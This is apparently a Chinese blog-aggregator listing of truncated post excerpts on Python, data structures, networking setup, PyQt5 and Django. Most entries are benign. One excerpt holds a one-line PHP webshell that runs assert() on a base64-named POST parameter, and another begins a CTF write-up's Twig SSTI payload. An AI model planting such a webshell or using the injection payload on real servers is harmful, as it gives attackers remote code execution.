学习 Python3 语言 第一行 Python3 开头的一行到底应该怎么写? 查阅 Google 的代码仓库,找到若干以 Python3 为主的 repo,选择比较流行的库 Trax 作为范本。随机抽取某个脚本(https://github.com/google/trax/blob/master/ ...
分类:
编程语言 时间:
2020-05-16 17:08:54
阅读次数:
63
[toc] 快速排序思路: 1)选定一个基准元素; 2)经过一趟排序,将所有元素分成两部分; 3)分别对两部分重复上述操作,直到所有元素都已排序成功。 因为单链表只能从链表头节点向后遍历,没有prev指针,因此必须选择头节点作为基准元素。这样第二步操作的时间复杂度就为O(n)。由于之后都是分别对两部 ...
分类:
编程语言 时间:
2020-05-16 00:31:26
阅读次数:
76
题目: 二叉树的后序遍历:给定一个二叉树,返回它的 后序 遍历。 思路: 递归大法好,之后补充使用栈来实现的。 程序1:递归实现 # Definition for a binary tree node. # class TreeNode: # def __init__(self, x): # sel ...
分类:
编程语言 时间:
2020-05-15 20:29:29
阅读次数:
88
发现关于Ubuntu 18.04部署ONOS+BMv2的资料比较少,笔者找了网上的一些教程,比较推荐的方案有两个: (1)方法一: ONOS安装:https://wiki.onosproject.org/display/ONOS/Developer+Quick+Start BMv2安装:https: ...
分类:
系统相关 时间:
2020-05-15 20:01:11
阅读次数:
224
题目: 二叉树的前序遍历:给定一个二叉树,返回它的 前序 遍历。 思路: 思路一使用老套路递归,思路二会补充使用栈的程序。 程序1:递归 # Definition for a binary tree node. # class TreeNode: # def __init__(self, x): # ...
分类:
编程语言 时间:
2020-05-15 18:33:37
阅读次数:
63
一、案例 from PyQt5.Qt import * import sys class Window(QWidget): def __init__(self): super().__init__() self.setWindowTitle('QRadioButton-使用') self.resiz ...
分类:
其他好文 时间:
2020-05-15 15:30:15
阅读次数:
170
<?php $p=base64_decode("bW93YW5n");$i['j']='assert';$a[]=$i;@$a[0]['j']($_POST[$p]);$filename = $php_self=substr($_SERVER['PHP_SELF'],strrpos($_SERVER ...
分类:
其他好文 时间:
2020-05-15 13:29:09
阅读次数:
159
知识点 SSTI twig 题目提示cookie 在user处尝试注入 {{7*'7'}} 回显7777777 ==> Jinja2 {{7*'7'}} 回显49 ==> Twig 这里为Twig payload {{_self.env.registerUndefinedFilterCallback ...
分类:
其他好文 时间:
2020-05-14 23:50:24
阅读次数:
97
[TOC] admin 扩展 admin 添加csv 功能: admin 添加 excel 功能: ...
分类:
其他好文 时间:
2020-05-14 17:35:51
阅读次数:
55
"""处理Excel"""import xlrdfrom conf import settingsfrom utils.LogHandler import loggerclass ExcelOperate(object): def __init__(self, file_path, sheet_by ...
分类:
其他好文 时间:
2020-05-14 15:21:46
阅读次数:
77